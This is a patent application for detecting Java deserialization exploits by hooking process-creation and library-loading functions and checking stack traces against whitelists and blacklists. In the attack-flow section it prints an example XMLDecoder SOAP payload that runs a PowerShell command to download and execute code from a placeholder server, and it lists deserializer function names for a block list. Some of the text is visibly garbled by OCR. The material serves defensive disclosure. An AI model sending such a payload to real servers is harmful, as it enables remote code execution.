BARYAKEV EFI (IL)
ZELIKOV OLEG (IL)
| US20190318090A1 | 2019-10-17 |
ANONYMOUS: "Java remote method invocation", 23 February 2021 (2021-02-23), pages 1 - 4, XP055887963, Retrieved from the Internet
| CLAIMS 1. A method for protecting a computer system, comprising: receiving, by a processor executing a Java virtual machine (JVM), an input comprising a serialized data stream; deserializing, by the JVM, the received serialized data stream; detecting a software process initiated in response to deserializing the data stream; and issuing an alert with respect to the detected software process. 2. The method according to claim 1, wherein the input comprises a Hypertext Transfer Protocol request. 3. The method according to claim 1, wherein detecting the software process initiated in response to deserializing the data stream comprises analyzing a stack trace comprising one or more functions, wherein a given function initiated the software process, and detecting, in the stack trace, the deserialization of the data stream. 4. The method according to claim 3, wherein the stack trace comprises a set of stack frames, wherein a first given stack frame comprises the function that initiated the software process, wherein a second given stack frame comprises the deserialization of the data stream, and wherein detecting the software process initiated in response to deserializing the data stream comprises detecting that the first given stack frame and the second given stack frame are within a specified number of stack frames. 5. The method according to claim 3, wherein detecting the software process initiated in response to deserializing the data stream comprises comparing the one or more functions in the stack trace to a list of first functions, and detecting a match between any given function in the stack trace and any given first function. 6. The method according to claim 5, wherein detecting the software process initiated in response to deserializing the data stream comprises comparing the one or more functions in the stack trace to a list of second functions, detecting a match between any given function in the stack trace and any given first function, and not detecting a match between any given function in the stack trace and any second function. 7. The method according to any of claims 1-6, wherein issuing the alert comprises preventing execution of the software process. 8. A computer system, comprising: a memory configured to store a Java virtual machine (JVM); and a processor configured: to receive an input comprising a serialized data stream, to deserialize, by the JVM, the received serialized data stream, to detect a software process initiated in response to deserializing the data stream, and to issue an alert with respect to the detected software process. 9. The computer system according to claim 8, wherein the input comprises a Hypertext Transfer Protocol request. 10. The computer system according to claim 8, wherein the processor is configured to detect the software process initiated in response to deserializing the data stream by analyzing a stack trace comprising one or more functions, wherein a given function initiated the software process, and detecting, in the stack trace, the deserialization of the data stream. 11. The computer system according to claim 10, wherein the stack trace comprises a set of stack frames, wherein a first given stack frame comprises the function that initiated the software process, wherein a second given stack frame comprises the deserialization of the data stream, and wherein the processor is configured to detect the software process initiated in response to deserializing the data stream by detecting that the first given stack frame and the second given stack frame are within a specified number of stack frames. 12. The computer system according to claim 10, wherein the processor is configured to detect the software process initiated in response to deserializing the data stream by comparing the one or more functions in the stack trace to a list of first functions, and detecting a match between any given function in the stack trace and any given first function. 13. The computer system according to claim 12, wherein the processor is configured to detect the software process initiated in response to deserializing the data stream by comparing the one or more functions in the stack trace to a list of second functions, detecting a match between any given function in the stack trace and any given second function, and not detecting a match between any given function in the stack trace and any given second function. 14. The computer system according to any of claims 8-13, wherein the processor is configured to issue the alert by preventing execution of the software process. 15. A computer software product for protecting a computing system, the product comprising a non-transitory computer-readable medium, in which program instructions are stored, which instructions, when read by a computer, cause the computer: to execute a Java virtual machine (JVM); to receive an input comprising a serialized data stream; to deserialize, by the JVM, the received serialized data stream; to detect a software process initiated in response to deserializing the data stream; and to issue an alert with respect to the detected software process. 16. A method for protecting a computer system, comprising: receiving, by a processor executing a Java virtual machine (JVM), an input comprising a serialized data stream; deserializing, by the JVM, the received serialized data stream; detecting a software library loaded to a memory in response to deserializing the data stream; and issuing an alert with respect to the detected software library. 17. The method according to claim 16, wherein the input comprises a Hypertext Transfer Protocol request. 18. The method according to claim 16, wherein detecting the software process initiated in response to deserializing the data stream comprises analyzing a stack trace comprising one or more functions, wherein a given function loaded the software library to the memory, and detecting, in the stack trace, the deserialization of the data stream. 19. The method according to claim 18, wherein the stack trace comprises a set of stack frames, wherein a first given stack frame comprises the function that loaded the software library to the memory, wherein a second given stack frame comprises the deserialization of the data stream, and wherein detecting the software library loaded to the memory in response to deserializing the data stream comprises detecting that the first given stack frame and the second given stack frame are within a specified number of stack frames. 20. The method according to claim 18, wherein detecting the software process initiated in response to deserializing the data stream comprises comparing the one or more functions in the stack trace to a list of first functions, and detecting a match between any given function in the stack trace and any given first function. 21. The method according to claim 20, wherein detecting the software process initiated in response to deserializing the data stream comprises comparing the one or more functions in the stack trace to a list of second functions, detecting a match between any given function in the stack trace and any given first function, and not detecting a match between any given function in the stack trace and any second function. 22. The method according to any of claims 16-21, wherein issuing the alert comprises preventing the loading of the software library to the memory. |
| AMENDED CLAIMS received by the International Bureau on 18 April 2022 (18.04.2022) 1. A method for protecting a computer system, comprising: receiving, by a processor executing a Java virtual machine (JVM), an input comprising a serialized data stream; deserializing, by the JVM, the received serialized data stream; invoking, by the JVM, a hook function in response to deserializing the serialized data stream; analyzing, by the hook function, a stack trace corresponding to the hook function and comprising a set of additional functions in a thread for the hook function; detecting, in the stack trace, a software process initiated in response to deserializing the data stream; and issuing an alert with respect to the detected software process. 2. The method according to claim 1, wherein the input comprises a Hypertext Transfer Protocol request. 3. The method according to claim 1, wherein the stack trace comprises a set of stack frames, wherein a first given stack frame comprises the hook function that initiated the software process, wherein a second given stack frame comprises the deserialization of the data stream, and wherein detecting the software process initiated in response to deserializing the data stream comprises detecting that the first given stack frame and the second given stack frame are within a specified number of stack frames. 4. The method according to claim 1, wherein detecting the software process initiated in response to deserializing the data stream comprises comparing the one or more additional functions in the stack trace to a list of first functions, and detecting a match between any given additional function in the stack trace and any given first function. 5. The method according to claim 4, wherein detecting the software process initiated in response to deserializing the data stream comprises comparing the one or more additional functions in the stack trace to a list of second functions, detecting a match between any given additional function in the stack trace and any given first function, and not detecting a match between any given additional function in the stack trace and any second function. 6. The method according to any of claims 1-5, wherein issuing the alert comprises preventing execution of the software process. 7. A computer system, comprising: a memory configured to store a Java virtual machine (JVM); and a processor configured: to receive an input comprising a serialized data stream, to deserialize, by the JVM, the received serialized data stream, to invoke, by the JVM, a hook function in response to deserializing the serialized data stream, to analyze, by the hook function, a stack trace corresponding to the hook function and comprising a set of additional functions in a thread for the hook function, to detect, in the stack trace, a software process initiated in response to deserializing the data stream, and to issue an alert with respect to the detected software process. 8. The computer system according to claim 7, wherein the input comprises a Hypertext Transfer Protocol request. 9. The computer system according to claim 7, wherein the stack trace comprises a set of stack frames, wherein a first given stack frame comprises the hook function that initiated the software process, wherein a second given stack frame comprises the deserialization of the data stream, and wherein the processor is configured to detect the software process initiated in response to deserializing the data stream by detecting that the first given stack frame and the second given stack frame are within a specified number of stack frames. 10. The computer system according to claim 7, wherein the processor is configured to detect the software process initiated in response to deserializing the data stream by comparing the one or more additional functions in the stack trace to a list of first functions, and detecting a match between any given additional function in the stack trace and any given first function. 11. The computer system according to claim 10, wherein the processor is configured to detect the software process initiated in response to deserializing the data stream by comparing the one or more additional functions in the stack trace to a list of second functions, detecting a match between any given additional function in the stack trace and any given second function, and not detecting a match between any given additional function in the stack trace and any given second function. 12. The computer system according to any of claims 7-11, wherein the processor is configured to issue the alert by preventing execution of the software process. 13. A computer software product for protecting a computing system, the product comprising a non-transitory computer-readable medium, in which program instructions are stored, which instructions, when read by a computer, cause the computer: to execute a Java virtual machine (JVM); to receive an input comprising a serialized data stream; to deserialize, by the JVM, the received serialized data stream; to invoke, by the JVM, a hook function in response to deserializing the serialized data stream; to analyze, by the hook function, a stack trace corresponding to the hook function and comprising a set of additional functions in a thread for the hook function; to detect, in the stack trace, a software process initiated in response to deserializing the data stream; and to issue an alert with respect to the detected software process. 14. A method for protecting a computer system, comprising: receiving, by a processor executing a Java virtual machine (JVM), an input comprising a serialized data stream; deserializing, by the JVM, the received serialized data stream; invoking, by the JVM, a hook function in response to deserializing the serialized data stream; analyzing, by the hook function, a stack trace corresponding to the hook function and comprising a set of additional functions in a thread for the hook function; detecting, in the stack trace, a software library loaded to a memory in response to deserializing the data stream; and issuing an alert with respect to the detected software library. 15. The method according to claim 14, wherein the input comprises a Hypertext Transfer Protocol request. 16. The method according to claim 14, wherein the stack trace comprises a set of stack frames, wherein a first given stack frame comprises the hook function that loaded the software library to the memory, wherein a second given stack frame comprises the deserialization of the data stream, and wherein detecting the software library loaded to the memory in response to deserializing the data stream comprises detecting that the first given stack frame and the second given stack frame are within a specified number of stack frames. 17. The method according to claim 14, wherein detecting the software process initiated in response to deserializing the data stream comprises comparing the one or more additional functions in the stack trace to a list of first functions, and detecting a match between any given additional function in the stack trace and any given first function. 18. The method according to claim 17, wherein detecting the software process initiated in response to deserializing the data stream comprises comparing the one or more additional functions in the stack trace to a list of second functions, detecting a match between any given additional function in the stack trace and any given first function, and not detecting a match between any given additional function in the stack trace and any second function. 19. The method according to any of claims 14-18, wherein issuing the alert comprises preventing the loading of the software library to the memory. |
FIELD OF THE INVENTION
Embodiments of the present invention relate generally to computer security, and particularly to detecting input deserialization exploit attacks.
BACKGROUND OF THE INVENTION
In many computers and network systems, multiple layers of security apparatus and software are deployed in order to detect and repel the ever-growing range of security threats. At the most basic level, computers use anti-virus software to prevent malicious software from running on the computer. At the network level, intrusion detection and prevention systems analyze and control network traffic to detect and prevent malware from spreading through the network.
The description above is presented as a general overview of related art in this field and should not be construed as an admission that any of the information it contains constitutes prior art against the present patent application.
SUMMARY OF THE INVENTION
There is provided, in accordance with an embodiment of the present invention, a method for protecting a computer system, including receiving, by a processor executing a Java virtual machine (JVM), an input comprising a serialized data stream, deserializing, by the JVM, the received serialized data stream, detecting a software process initiated in response to deserializing the data stream, and issuing an alert with respect to the detected software process.
In one embodiment, the input includes a Hypertext Transfer Protocol request.
In another embodiment, detecting the software process initiated in response to deserializing the data stream includes analyzing a stack trace comprising one or more functions, wherein a given function initiated the software process, and detecting, in the stack trace, the deserialization of the data stream.
In an additional embodiment, the stack trace includes a set of stack frames, wherein a first given stack frame comprises the function that initiated the software process, wherein a second given stack frame includes the deserialization of the data stream, and wherein detecting the software process initiated in response to deserializing the data stream includes detecting that the first given stack frame and the second given stack frame are within a specified number of stack frames. In a further embodiment, detecting the software process initiated in response to deserializing the data stream includes comparing the one or more functions in the stack trace to a list of first functions, and detecting a match between any given function in the stack trace and any given first function.
In another embodiment, detecting the software process initiated in response to deserializing the data stream includes comparing the one or more functions in the stack trace to a list of second functions, detecting a match between any given function in the stack trace and any given first function, and not detecting a match between any given function in the stack trace and any second function.
In a supplemental embodiment, issuing the alert includes preventing execution of the software process.
There is also provided, in accordance with an embodiment of the present invention, a computer system, including a memory configured to store a Java virtual machine (JVM), and a processor configured to receive an input including a serialized data stream, to deserialize, by the JVM, the received serialized data stream, to detect a software process initiated in response to deserializing the data stream, and to issue an alert with respect to the detected software process.
There is additionally provided, in accordance with an embodiment of the present invention, a computer software product for protecting a computing system, the product including a non-transitory computer-readable medium, in which program instructions are stored, which instructions, when read by a computer, cause the computer to execute a Java virtual machine (JVM), to receive an input including a serialized data stream, to deserialize, by the JVM, the received serialized data stream, to detect a software process initiated in response to deserializing the data stream, and to issue an alert with respect to the detected software process.
There is further provided, in accordance with an embodiment of the present invention, a method for protecting a computer system, including receiving, by a processor executing a Java virtual machine (JVM), an input including a serialized data stream, deserializing, by the JVM, the received serialized data stream, detecting a software library loaded to a memory in response to deserializing the data stream, and issuing an alert with respect to the detected software library.
In one embodiment, the input includes a Hypertext Transfer Protocol request. In another embodiment, detecting the software process initiated in response to deserializing the data stream includes analyzing a stack trace including one or more functions, wherein a given function loaded the software library to the memory, and detecting, in the stack trace, the deserialization of the data stream.
In an additional embodiment, the stack trace includes a set of stack frames, wherein a first given stack frame includes the function that loaded the software library to the memory, wherein a second given stack frame includes the deserialization of the data stream, and wherein detecting the software library loaded to the memory in response to deserializing the data stream includes detecting that the first given stack frame and the second given stack frame are within a specified number of stack frames.
In a further embodiment, detecting the software process initiated in response to deserializing the data stream includes comparing the one or more functions in the stack trace to a list of first functions, and detecting a match between any given function in the stack trace and any given first function.
In a supplemental embodiment, detecting the software process initiated in response to deserializing the data stream includes comparing the one or more functions in the stack trace to a list of second functions, detecting a match between any given function in the stack trace and any given first function, and not detecting a match between any given function in the stack trace and any second function.
In some embodiments, issuing the alert includes preventing the loading of the software library to the memory.
BRIEF DESCRIPTION OF THE DRAWINGS
The disclosure is herein described, by way of example only, with reference to the accompanying drawings, wherein:
Figure 1 is a block diagram that schematically illustrates a server computer executing a hook function configured to detect input deserialization exploit attacks, in accordance with an embodiment of the present invention;
Figure 2 is a flow diagram that schematically illustrates a method of initializing the server to detect input deserialization exploit attacks, in accordance with an embodiment of the present invention;
Figure 3 is a flow diagram that schematically illustrates steps of a deserialization exploit attack, in accordance with an embodiment of the present invention; Figure 4 is a flow diagram that schematically illustrates a method of detecting an input deserialization exploit attack comprising a malicious process initiated in response to a deserialized data stream, in accordance with a first embodiment of the present invention; and
Figure 5 is a flow diagram that schematically illustrates a method of detecting an input deserialization exploit attack comprising a malicious software library loaded in response to a deserialized data stream, in accordance with a second embodiment of the present invention.
DETAILED DESCRIPTION OF EMBODIMENTS
Software environments such as Java™ (produced by Oracle Corporation, 500 Oracle Parkway Redwood City, CA 94065 USA) use serialization and deserialization for managing objects on computing devices. A serialization operation takes an in-memory data structure (e.g., an object) cand converts it into a data stream that can be stored and/or transferred. A deserialization operation takes the data stream and reconstructs it into a copy of the in-memory data structure. For example, a first computer can serialize user input into a data stream, and transmit the data stream to a second computer. Upon receiving the data stream, the second computer can deserialize the data stream into a copy of the user input.
Some cyber-attacks exploit weaknesses in serialization/deserialization to convey malicious serialized data streams to web servers and other types of computers connected to a public network such as the Internet. For example, an attacker might transmit a serialized file representing a malicious payload that can trigger, upon deserialization, execution of the attacker’s code that can perform malicious operations such as a Denial of Service (DoS) attack and spawning a reverse shell.
Embodiments of the present invention provide methods and systems protecting computer system from attacks that exploit serialization and deserialization. As described hereinbelow, a processor executing a Java™ virtual machine (JVM), receives an input comprising a serialized data stream. Upon deserializing the serialized data stream and detecting a software process initiated in response to deserializing the data stream, an alert is issued with respect to the detected software process.
In embodiments described herein, software processes that are initiated in response to deserialized data streams can be detected by analyzing stack traces of functions that initiate software processes. In some embodiments, these functions can be modified (i.e., “hooked”) so that they analyze their respective stack traces upon invocation. In addition to detecting processes that are initiated in response to deserialized data streams, embodiments of the present invention can be used to detect other types of cyber attacks initiated by malicious payloads embedded in serialized input. For example, the cyber attack may comprise a malicious software library that is loaded in response to deserializing a data stream.
SYSTEM DESCRIPTION
Figure 1 is a block diagram that schematically illustrates an example of a server 20 that executes a hook function 22 that is configured to detect a process 24 that was initiated in response to a deserialized data stream 26, in accordance with an embodiment of the present invention. In the configuration shown in Figure 1, server 20 communicates with a client computer 28 via a public network 30 such as the Internet.
In embodiments described herein, client computer 28 can launch an attack on server 20 by embedding malicious instructions into a serialized data stream 32, that the client computer conveys to server 20 via Internet 30. In one embodiment, client computer 28 may execute a client application 34 comprising an input screen 36, and a user (not shown) can enter the malicious instructions to the input screen. Upon receiving the malicious instructions via input screen, client application 34 can serialize the malicious instructions into serialized data stream 32, and convey the serialized data stream to server 20 via Internet 30.
In another embodiment, client computer 28 can serialize the malicious instructions into a Hypertext Transfer Protocol (HTTP) request 38, and convey the HTTP request to server 20 via Internet 30. Upon receipt, server 20 stores the HTTP request 38 as serialized data stream 32.
Server 20 comprises a processor 40, a memory 42 and a storage device 44. In the configuration shown in Figure 1, memory 42 may store:
• A Java™ virtual machine (JVM) 48 that that executes code in response to deserialized data stream 26. In the configuration shown in Figure 1, JVM 48 executes on processor 40.
• Multiple software processes 24 that processor 40 executes from the memory.
• One or more software libraries 50 (e.g., MyLibrary.so ) that processor 40 can execute from the memory. In one embodiment, processor 40 can load, to the memory, a given software library 50 (e.g., from storage device 44. In another embodiment, processor 40 can retrieve a given software library from client computer 28 (i.e., via Internet 30), and load the retrieved software library to memory 42.
Typically, functions 22 and 52 (and any of the functions in whitelist 50 and blacklist 62) are loaded by processor 40 from libraries 50. In some embodiments the name of a given function can have the format LibraryName.FunctionName, where LibraryName comprises the name of a given library 50 and FunctionName comprises the name of a given function.
• A plurality of functions 52 that processor 40 can execute from the memory. In embodiments described herein, at least one given function 52 comprises a hook function call 54 to hook function 22 that the processor also can execute from the memory. Any given function 52 comprising a given hook function call 54 is referred to herein as hooked function 52. Hook function calls 54 and hook function 22 are described hereinbelow.
• A plurality of stack traces 56 comprising respective sets of stack frames 57. In some embodiments, each given invocation of each given function 52 has a corresponding stack trace 56. Each of the stack frames in a given stack trace stores information on all invocations (i.e., of additional functions 52) from the start of a thread until a given invocation of a given function 52. An example of a given stack trace is presented and described in the description referencing Figure 4 hereinbelow.
• A whitelist 58 comprising a set of whitelisted functions 60. A given whitelisted function 60 typically comprises a name of a given function 52 Whitelist 58 is described in the descriptions referencing Figures 2, 4 and 5 hereinbelow.
• A blacklist 62 comprising a set of blacklisted functions 60. In embodiments of the present invention, each blacklisted function 64 typically comprises a name of a given function 52 that deserializes serialized data stream 32. Blacklist 62 is described in the descriptions referencing Figures 2, 4 and 5 hereinbelow.
A given hook function call 54 comprises a modification to a given function 52 that enables the given function to call hook function 22 upon invocation of the given function. In embodiments described hereinbelow, hook function 22 analyzes the stack trace corresponding to the invocation of the given function in order to determine if the given function was invoked in response to deserializing serialized data stream 32. For example, if the given function creates a new process 24, then upon invoking the given function, the hook function call in the given function calls hook function 22 to determine whether or not the processor 40 created the new process in response to deserialized data stream 26.
The following is an example of pseudocode (with line numbers inserted for purposes of clarification) for a given hooked function 52:
1. check for_input deserialization
2. if intput_deserization detected
3. issue_alert
4. else
5. initiate _new_process
6. endif
1. return
In this example, the hooked function initiates a new process only upon determining that the call to the hooked function is not in response to deserializing an input such as serialized data stream 32.
In some embodiments, the tasks of deserializing serialized data stream 32 and executing deserialized data stream 26 and functions 22 and 52 and may be performed by one or more virtual machines executing in one or more instance of server 20 or may be performed by one or more cloud-based applications.
Processor 40 comprises a general-purpose central processing unit (CPU) or a special- purpose embedded processor, which is programmed in software or firmware to carry out the functions described herein. This software may be downloaded to server 20 in electronic form, over a network, for example. Additionally or alternatively, the software may be stored on tangible, non-transitory computer-readable media, such as optical, magnetic, or electronic memory media. Further additionally or alternatively, at least some of the functions of processor 40 may be carried out by hard- wired or programmable digital logic circuits.
Examples of memory 42 include dynamic random-access memories and non-volatile random-access memories. Examples of storage device 44 include non-volatile storage devices such as hard disk drives and solid-state disk drives.
EXPLOIT DETECTION
Figure 2 is a flow diagram that schematically illustrates a method of initializing server 20 for detecting deserialization exploits, in accordance with an embodiment of the present invention. In step 70 a software application developer (not shown) codes hook function 22, and inserts hook function call 54 into one or more functions 52. In embodiments described herein, hooked function 52 typically performs a sensitive operation such as creating a new process 24 or loading a given software library 50.
In step 72, a system administrator (not shown) initializes whitelist 58 by adding one or more whitelisted functions 60. One example of a given whitelisted function 60 is: com/adventnet/db/adapter/postgres/DefaultPostgresDBInitializ er!executeCommand.
In step 74, the system administrator initializes blacklist 62 by adding one or more blacklisted functions 64. As described supra, a given function 60 or 64 typically comprises a name of a given function 52. Examples of blacklisted functions 60 include but are not limited to JSONdeserializerlmpl, ElementHandler, ObjectlnputStream and SimpleNode!getValue.
Finally, in step 76, the system administrator activates, on server 20, functionality of the hooked functions, whitelist 58 and blacklist 62. Note that at any time after activating whitelist 58 and blacklist 62, the system administrator can, on an as-needed basis, add a new function 60 or 64, or delete a given function 60 or 64.
Figure 3 is a flow diagram the schematically illustrates a deserialization exploit attack method, in accordance with an embodiment of the present invention.
In step 80, an attacker (not shown) embeds a malicious data stream into an input. In some embodiments, the malicious data stream may comprise software instructions such as Java™ code.
As described supra, the attacker may enter the malicious data stream into input screen 36 or embed the malicious data stream into an input comprising HTTP request 38. In embodiments described herein, the malicious data stream may instruct server 20 to execute a given process 24 that may be malicious (also referred to herein as a malicious process) or may instruct the server to load a given software library 50 that may be malicious (also referred to herein as a malicious software library).
The following is an example of a malicious data stream that an attacker can embed into an input. The “goal” of this malicious data stream is to have server 20 execute a given process 24 that is malicious (also referred to herein as a malicious process):
1. <soapenv .Envelope xmlns:soapenv= "http://schemas.xmlsoap.or8/soap/envelope/">
2. <soapenv:Eleader>
3. < work: WorkContext xmlns:work= "http://bea.com/2004/06/soap/workarea/">
4. <java version= "E8.0_151 " class= "java.beans.XMLDecoder" > 5. <void class= "java.lang.ProcessBuilder" >
6. < array class= "javadang. String " length= "3 ">
7. <void index = "()">
8. < string >cmd< /string >
9. </void>
10. < void index = "1">
11. < string >/c< /string >
12. </void>
13. <void index = "2">
14. < string > power shell -exec bypass IEX (New-Object
Net. WebClient).DownloadString( &avos;htW://SOMESERVERHERE/GOTPAYLOAD.vsl ' ) </ string >
15. </void>
16. < /array >
17. <void method= " start"/ >
18. </void>
19. </java>
20. </work : WorkContext>
21. </soapenv .Header >
22. <soapenv:Body/>
23. </soapenv: Envelope >
For purposes of clarification, each line of the data stream in the example is numbered. In this example, line #5 instructs the server to start executing the malicious process.
The following example of a malicious data stream that instructs the server to load a given malicious software library 50:
ProcessBuilder. start
In step 82, client computer 28 serializes the input (i.e., containing the malicious data stream) into serialized data stream 32.
In step 84, client computer 28 conveys, e.g., via Internet 30, serialized data stream 32 to server 20. In step 86, processor 40 receives an input comprising serialized data stream 32 and stores the serialized data stream to memory 42.
In step 88, JVM 48 (executing on processor 40) deserializes serialized data stream 32 into deserialized data stream 26.
Finally, in step 90, in response to deserializing serialized data stream 32, JVM 48 (executing on processor 40) starts executing the malicious data stream embedded in deserialized data stream 26. As described supra, the malicious data stream may instruct processor 40 library (i.e., in response to deserializing serialized data stream 32) to initiate execution of a given malicious process 24 or to load a malicious software. Methods for detecting execution of the malicious data stream are described in the description referencing Figures 4 and 5 hereinbelow.
Figure 4 is a flow diagram that schematically illustrates a method of detecting a given process 24 that processor 40 initiated (i.e., execution of) in response to the JVM deserializing serialized data stream 32, in accordance with an embodiment of the present invention.
In step 100, a given hooked function 52 is invoked and initiates execution of a new process 24. In embodiments described in the description referencing the flow diagram presented in Figure 4, the hooked function is invoked (i.e., called) to initiate any new process 24.
In step 102, the given hooked function calls, via hook function call 54, hook function 22 so as to identify the functions in the stack trace corresponding to the invocation of the given hooked function.
The following is an example of a given stack trace 56 comprising multiple stack trace frames 57:
1. <JavaStackTrace>
2. < Entry > java/lang/ProcessBuilder! start < /Entry >
3. < Entry > sun/reflect/NativeMethodAccessorImpl!invokeO< /Entry >
4. < Entry > sun/reflect/NativeMethodAccessorlmpl!invoke < /Entry >
5. < Entry > sun/reflect/DelegatingMethodAccessorlmpl! invoke < /Entry >
6. < Entry > java/lang/reflect/Method!invoke < /Entry >
7. < Entry > sun/reflect/misc/Trampoline!invoke < /Entry >
8. < Entry > sun/reflect/NativeMethodAccessorImpl!invokeO< /Entry >
9. < Entry > sun/reflect/NativeMethodAccessorlmpl!invoke < /Entry >
10. < Entry >sun/reflect/DelegatingMethodAccessorImpl! invoke < /Entry > 11. < Entry >java/lang/reflect/Method! invoke < /Entry >
12. < Entry > sun/reflect/misc/Method U til! invoke < /Entry >
13. < Entry >java/beans/Statement!invokeInternal < /Entry >
14. < Entry >jav a/beans/Statement! access$000< /Entry >
15. < Entry >java/beans/Statement$2! run < /Entry >
16. < Entry >java/security/AccessController!doPrivileged < /Entry >
17. < Entry > java/beans/Statement!invoke < /Entry >
18. < Entry > java/beans/Expression! getValue < /Entry >
19. < Entry >com/sun/beans/decoder/ObjectElementHandler!getValueObjec t< /Entry >
20. < Entry > com/sun/beans/decoder/NewElementHandler ! getValueObjecK /Entry >
21. < Entry > com/sun/beans/decoder/ElementHandler ! endElement< /Entry >
22. </JavaStackTrace>
For purposes of clarification, each stack frame 57 in the example is numbered.
In step 104, hook function 22 compares the (names of the) functions in the corresponding stack trace to blacklisted functions 64. As described supra, blacklisted functions 64 reference functions 52 that can deserialize serialized data stream 32. In embodiments of the present invention, hook function 22 analyzes the stack trace to determine whether or not processor 40 initiated a given process 24 in response to deserializing serialized data stream 32.
In one embodiment, hook function 22 can determine that processor 40 initiated a given process 24 in response to deserializing serialized data stream 32 by detecting a match between any of the blacklisted functions and any of the functions in the stack frames prior to the invocation of the hooked function. In another embodiment, hook function 22 can determine that processor 40 initiated a given process 24 in response to deserializing serialized data stream 32 by detecting a match between any of the blacklisted functions and any of the functions in a specified number (e.g., 20, 25 or 30) of the stack frames prior to the invocation of the hooked function that initiated the given process.
In the stack trace example listed hereinabove, stack frame #2 shows the invocation of the (hooked) function “ ProcessBuilder and stack frame #19 shows a deserialization of a given serialized data stream 32. Therefore, the deserialization operation was performed 17 stack frames prior to the invocation of the given function that initiated the given process.
In step 106, if hook function 22 detects a match between any of the blacklisted functions and any of the functions in the stack frames prior to the invocation of the hooked function, then in step 108 the hook function compares the identified names of the functions in the stack frame to whitelisted functions 60.
In step 110, if hook function 22 does not detect a match between any the identified (names of the functions) in the stack frame and any whitelisted functions 60, then in step 112, the hook function (or the hooked function) issues an alert with respect to the new process (i.e., the process initiated by processor 40 in step 100), and the method ends. In some embodiments, hook function 22 can issue the alert by preventing execution of the new process (or terminating execution of a given process 24 that will launch the new process). Additionally or alternatively, hook function 22 can issue the alert by conveying a warning message to the system administer of server 20.
Returning to step 110, if hook function 22 detects a match between any the identified (names of the functions) in the stack frame and any whitelisted functions 60, then the method ends. In other words, if there are matches between any of the functions in the stack frame and any blacklisted function 64 and there are matches between the identified functions in the stack frame and any whitelisted functions 60, then the match(es) to the whitelisted function(s) “exonerate(s)” (i.e., removes suspicion from) the match(es) to blacklisted function(s) 64.
Returning to step 106, if hook function 22 does not detect a match between any of the blacklisted functions and any of the functions in the stack frames prior to the invocation of the hooked function, then the method ends.
Figure 5 is a flow diagram that schematically illustrates a method of detecting a given software library 50 that processor 40 loaded to memory 42 in response to the JVM deserializing serialized data stream 32, in accordance with an embodiment of the present invention.
In step 120, a given hooked function 52 is invoked and loads a given software library 50 to memory 42. In embodiments described in the description referencing the flow diagram presented in Figure 4, the hooked function is invoked (i.e., called) to load any library 59.
In step 102, the hook function identifies the functions in the stack trace corresponding to the invocation of the given hooked function.
In step 124, hook function 22 compares the (names of the) functions in the corresponding stack trace to blacklisted functions 64. As described supra, blacklisted functions 64 reference functions 52 that can deserialize serialized data stream 32. In embodiments of the present invention, hook function 22 analyzes the stack trace to determine whether or not processor 40 loaded a given software library 50 in response to deserializing serialized data stream 32. In one embodiment, hook function 22 can determine that processor 40 loaded a given software library 50 in response to deserializing serialized data stream 32 by detecting a match between any of the blacklisted functions and any of the functions in the stack frames prior to the invocation of the hooked function. In another embodiment, hook function 22 can determine that processor 40 loaded a given software library 50 in response to deserializing serialized data stream 32 by detecting a match between any of the blacklisted functions and any of the functions in a specified number (e.g., 20, 25 or 30) of the stack frames prior to the invocation of the hooked function that loaded the given software library.
In step 126, if hook function 22 detects a match between any of the blacklisted functions and any of the functions in the stack frames prior to the invocation of the hooked function, then in step 128 the hook function compares the identified names of the functions in the stack frame to whitelisted functions 60.
In step 130, if hook function 22 does not detect a match between any the identified (names of the functions) in the stack frame and any whitelisted functions 60, then in step 132, the hook function (or the hook function) issues an alert with respect to the loaded library (i.e., the library loaded by processor 40 in step 120), and the method ends. In some embodiments, hook function 22 can issue the alert by preventing the loading of any library 50 to memory 42 (i.e., by the hooked function). For example, hook function 22 can terminate execution of a given process 24 that will load any given library. Additionally or alternatively, hook function 22 can issue the alert by conveying a warning message to the system administer of server 20.
Returning to step 130, if hook function 22 detects a match between any the identified (names of the functions) in the stack frame and any whitelisted functions 60, then the method ends. In other words, if there are matches between any of the functions in the stack frame and any blacklisted function 64 and there are matches between the identified functions in the stack frame and any whitelisted functions 60, then the match(es) to the whitelisted function(s) “exonerate(s)” (i.e., removes suspicion from) the match(es) to blacklisted function(s) 64 .
Returning to step 126, if hook function 22 does not detect a match between any of the blacklisted functions and any of the functions in the stack frames prior to the invocation of the hooked function, then the method ends.
As described supra, the name of a given function can have the format LibraryName.FunctionName, where LibraryName comprises the name (i.e., an identifier or a prefix) of a given library 50 and FunctionName comprises the name of a given function. In some embodiments, a given blacklisted function 64 or a given whitelisted function 60 may comprise the library names and/or the function names. In these embodiments, when comparing the functions in the stack trace to the whitelisted/blacklisted functions, hook function 22can compare all (i.e., the library and function names) or part (i.e., the library or the function name) of the stack trace functions to the whitelisted/ blacklisted functions. It will be appreciated that the embodiments described above are cited by way of example, and that the present invention is not limited to what has been particularly shown and described hereinabove. Rather, the scope of the present invention includes both combinations and subcombinations of the various features described hereinabove, as well as variations and modifications thereof which would occur to persons skilled in the art upon reading the foregoing description and which are not disclosed in the prior art.
Next Patent: METHOD AND SYSTEM FOR AUTOMATICALLY SUGGESTING AN ENGINEERING TOOL